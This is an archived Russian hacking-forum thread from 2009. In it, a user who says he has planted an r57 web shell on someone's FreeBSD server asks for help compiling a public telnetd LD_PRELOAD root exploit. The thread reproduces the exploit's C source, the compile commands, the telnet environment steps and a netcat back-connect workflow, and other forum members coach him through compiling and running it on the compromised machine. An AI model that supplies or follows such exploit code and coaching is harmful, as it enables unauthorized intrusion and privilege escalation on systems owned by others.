Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Компиляция сплойта под FreeBSD (7.0-RELEASE)

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Для начинающих] >> Компиляция сплойта под FreeBSD (7.0-RELEASE)
Имя
Сообщение << Старые топики   Новые топики >>
Компиляция сплойта под FreeBSD (7.0-RELEASE) - 2009-03-19 00:01:35.053333   
Infocean

Сообщений: 15
Оценки: 0
Присоединился: 2007-02-10 19:01:28.230000
Всем прив.

Есть сервак который я почти сломал, не хватает только прав root.
OC: FreeBSD 7.0-RELEASE
Нашел, сплоит по неё: http://milw0rm.com/exploits/8055, но его не получается скомпилировать.
На серве валяется шелл r57.
И так мои действия по компиляции(В C# не силён :():
1) Берём r57 шелл, залитый на сервер
2) Качаем NetCat и запускаем (nc -l -p 11457)
3) В r57 шелле нажимаем BackConnet (в настройках ничего не меняем)
4) Загружаем через шелл нужные сплойты
5) В консоли вбиваем( если я не ошибаюсь, в какой-то статье давно видел):
gcc ttt.c -o ttt и запускаем ./ttt

У меня же всё обламывается на 5 шаге, при компиляции в консоли выдаётся куча еррор'ов.

Прошу профи, подскажите, почему не компилится сплоит, буду очень благодарен, т.к. надо срочно.


p.s. Если бы был силён в Си, то не просил бы помочь.
Post #: 1
RE: Компиляция сплойта под FreeBSD (7.0-RELEASE) - 2009-03-19 09:03:41.206666   
Pupkin-Zade

Сообщений: 9398
Оценки: 1489
Присоединился: 2004-03-10 13:54:16
А) Сплоит может быть намеренно кривой
Б) курить мануалы по GCC
Post #: 2
RE: Компиляция сплойта под FreeBSD (7.0-RELEASE) - 2009-03-19 14:31:57.050000   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
quote:

ORIGINAL: Infocean

при компиляции в консоли выдаётся куча еррор'ов.


кучу ероров в студию (ну и сам сплойт, что милворм не пашет сейчас)
Post #: 3
RE: Компиляция сплойта под FreeBSD (7.0-RELEASE) - 2009-03-20 11:56:10.793333   
Infocean

Сообщений: 15
Оценки: 0
Присоединился: 2007-02-10 19:01:28.230000
quote:

ORIGINAL: Pashkela

quote:

ORIGINAL: Infocean

при компиляции в консоли выдаётся куча еррор'ов.


кучу ероров в студию (ну и сам сплойт, что милворм не пашет сейчас)


Вот весь текст с милворма.
FreeBSD (7.0-RELEASE) telnet daemon local privilege escalation - And possible remote root code excution. There is a rather big bug in the current FreeBSD telnetd daemon. The environment is not properly sanitized when execution /bin/login, what leads to a (possible) remote root hole. The telnet protocol allows to pass environment variables inside the telnet traffic and assign them to the other side of the tcp connection. The telnet daemon of FreeBSD does not check for LD_* (like LD_PRELOAD) environment variables prior to executing /bin/login. So passing an environment variable with the identifier LD_PRELOAD and the value of a precompiled library that is on the filesystem of the victims box that includes malicious code is possible. When /bin/login is executed with the user id and group id 0 ('root') it preloads the library that was set by remote connection through a telnet environment definition and executes it. It is unlikely that this bug can be exploited remotely but is not impossible. An attacker could f.e. upload a malicious library using ftp (including anonymous ftp users), nfs, smb or any other (file) transfer protocol. One scenario to exploit the bug remotely would be a ftp server running beside the telnet daemon serving also anoynmous users with write access. Then the attacker would upload the malicious library and defines the LD_PRELOAD variable to something similar to /var/ftp/mallib.so to gain remote root access. Here comes the actual exploit which can be executed with standard UNIX tools. Paste this into a file using your favorite text editor: ---snip----- # FreeBSD telnetd local/remote privilege escalation/code execution # remote root only when accessible ftp or similar available # tested on FreeBSD 7.0-RELEASE # by Kingcope/2009 #include &lt;unistd.h&gt; #include &lt;stdio.h&gt; #include &lt;sys/types.h&gt; #include &lt;stdlib.h&gt; void _init() { FILE *f; setenv("LD_PRELOAD", "", 1); system("echo ALEX-ALEX;/bin/sh"); } ---snip----- Then we compile this stuff. ---snip----- #gcc -o program.o -c program.c -fPIC #gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles ---snip----- Then we copy the file to a known location (local root exploit) ---snip----- #cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 ---snip----- ...or we upload the library through any other available attack vector. After that we telnet to the remote or local FreeBSD telnet daemon with setting the LD_PRELOAD environment variable to the known location as a telnet option before. ---snip----- #telnet &gt;auth disable SRA &gt;environ define LD_PRELOAD /tmp/libno_ex.so.1.0 &gt;open target ---snip----- ALEX-ALEX #ROOTSHELL This will give us an immediate (probably remote) root shell. This exploit is only verified on a FreeBSD 7.0-RELEASE fresh install with telnetd enabled. Other version of FreeBSD may also be affected, OpenBSD and NetBSD where not tested but MAY contain the same bug because of historic reasons. Signed, Kingcope[nikolaos rangos]/2009 # milw0rm.com [2009-02-16]
Я скопировал из него вот это:
# FreeBSD telnetd local/remote privilege escalation/code execution # remote root only when accessible ftp or similar available # tested on FreeBSD 7.0-RELEASE # by Kingcope/2009 #include &lt;unistd.h&gt; #include &lt;stdio.h&gt; #include &lt;sys/types.h&gt; #include &lt;stdlib.h&gt; void _init() { FILE *f; setenv("LD_PRELOAD", "", 1); system("echo ALEX-ALEX;/bin/sh"); } #gcc -o program.o -c program.c -fPIC #gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles #cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 #telnet &gt;auth disable SRA &gt;environ define LD_PRELOAD /tmp/libno_ex.so.1.0 &gt;open target
при компиляции выдаёт вот это:
Post #: 4
RE: Компиляция сплойта под FreeBSD (7.0-RELEASE) - 2009-03-20 12:17:05.413333   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

ну и с чего-ты взял, что это там есть?)) Достаточно местоположение поменять и всё, компилица не будет

Компилируй локально и заливай туда уже скомпиленный
Post #: 5
RE: Компиляция сплойта под FreeBSD (7.0-RELEASE) - 2009-03-20 12:20:59.730000   
Infocean

Сообщений: 15
Оценки: 0
Присоединился: 2007-02-10 19:01:28.230000

quote:

ORIGINAL: Pashkela

#include &lt;unistd.h&gt;
#include &lt;stdio.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;stdlib.h&gt;

ну и с чего-ты взял, что это там есть?)) Достаточно местоположение поменять и всё, компилица не будет

Компилируй локально и заливай туда уже скомпиленный


А через что скомпилить, при помощи lccwin32 не компилит,тоже выдаёт кучу ошибок?

p.s. сорь за тупой вопрос, но с Си не дружу :(
Post #: 6
RE: Компиляция сплойта под FreeBSD (7.0-RELEASE) - 2009-03-20 12:22:19.976666   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
http://gcc.gnu.org/
Post #: 7
RE: Компиляция сплойта под FreeBSD (7.0-RELEASE) - 2009-03-20 12:39:18.346666   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
Компилить надо только это:
#include &lt;unistd.h&gt; #include &lt;stdio.h&gt; #include &lt;sys/types.h&gt; #include &lt;stdlib.h&gt; void _init() { FILE *f; setenv("LD_PRELOAD", "", 1); system("echo ALEX-ALEX;/bin/sh"); } Все остальное - лишнее.
quote:

И так мои действия по компиляции(В C# не силён :():

С# здесь и не нужен.
Post #: 8
RE: Компиляция сплойта под FreeBSD (7.0-RELEASE) - 2009-03-20 13:11:20.683333   
Infocean

Сообщений: 15
Оценки: 0
Присоединился: 2007-02-10 19:01:28.230000
Pashkela, стянул я по вашей ссылке Cygwin, только после установки обнаружилось что GCC в нём не пашет, не знаю почему.
oRb, огромное вам спасибо, всё нормально скомпилил, правда выдало пару Warning'ов.Ща буду пробовать запустить на серве.
Post #: 9
RE: Компиляция сплойта под FreeBSD (7.0-RELEASE) - 2009-03-20 13:22:40.883333   
Infocean

Сообщений: 15
Оценки: 0
Присоединился: 2007-02-10 19:01:28.230000
Блин, загрузил на серв(через шелл), сделал бек-конект, вписал ./ggg.exe, а он мне выдал: ./ggg.exe: Permission denied

Подскажите,истинные Гуру Хак-андеграунда!!!

p.s. у меня опыт работы только с шеллами, а теперь вот решил получить опыт использования сплоитов, но ни как не пойму как мне теперь root-права для шелла получить?!
Post #: 10
RE: Компиляция сплойта под FreeBSD (7.0-RELEASE) - 2009-03-20 13:42:01.166666   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
1. exe фряха не ест
2. перед запуском надо права выдать. chmod +x ggg
Post #: 11
RE: Компиляция сплойта под FreeBSD (7.0-RELEASE) - 2009-03-20 13:51:54.366666   
Infocean

Сообщений: 15
Оценки: 0
Присоединился: 2007-02-10 19:01:28.230000

quote:

ORIGINAL: oRb

1. exe фряха не ест
2. перед запуском надо права выдать. chmod +x ggg

Следуя вашим советам:
1) стер формат файла,т.е. осталось только "ggg"
2) выдал права как вы сказали
3) запустился и вот что мне выдало:
Post #: 12
RE: Компиляция сплойта под FreeBSD (7.0-RELEASE) - 2009-03-20 14:01:49.140000   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
quote:

Следуя вашим советам:

Вы их не до конца поняли.
Вы скомпилили программу для винды, а надо для фряхи. Найдите сервак с фряхой и с gcc, скомпильте на нем сплойт, залейте на нужный сервак и запускайте.
Post #: 13
RE: Компиляция сплойта под FreeBSD (7.0-RELEASE) - 2009-03-20 14:02:04.460000   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
)))))

же-же действительно




Post #: 14
RE: Компиляция сплойта под FreeBSD (7.0-RELEASE) - 2009-03-20 14:12:36.670000   
Infocean

Сообщений: 15
Оценки: 0
Присоединился: 2007-02-10 19:01:28.230000
оо-о,точно это я не правильно понял, но ведь я могу скомпилить его на этом же сервере(прост другого такого же у меня нету)?
попробовал и получил в ответ warning'и:


файл так и не появился на серваке. :(

P.S. Значит я в обломе,т.к. ещё одного такого сервака мне не найти(
Post #: 15
RE: Компиляция сплойта под FreeBSD (7.0-RELEASE) - 2009-03-20 14:25:29.630000   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
а зачем его искать:

http://forum.oszone.net/thread-52469.html
Post #: 16
RE: Компиляция сплойта под FreeBSD (7.0-RELEASE) - 2009-03-20 14:28:19.676666   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
quote:

P.S. Значит я в обломе,т.к. ещё одного такого сервака мне не найти(

Извиняюсь за дезинформацию, я подумал, что на той машине нет gcc. Раз он есть, тогда вторая тачка не нужна.

quote:

попробовал и получил в ответ warning'и:

Компильте так, как написано в описании сплойта:
gcc -o program.o -c program.c -fPIC gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
Post #: 17
RE: Компиляция сплойта под FreeBSD (7.0-RELEASE) - 2009-03-20 14:34:46.786666   
Infocean

Сообщений: 15
Оценки: 0
Присоединился: 2007-02-10 19:01:28.230000
Если я правильно понял,то мне надо переименовать файл сплойта в program.c?
переименовал файл в: program.c
ок,скомпилил с одним варнингом,но конечный файл появился: libno_ex.so.1.0

Как им теперь воспользоваться(как с помощью него получить рутовские права)?
Post #: 18
Страниц:  [1]
Все форумы >> [Для начинающих] >> Компиляция сплойта под FreeBSD (7.0-RELEASE)







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.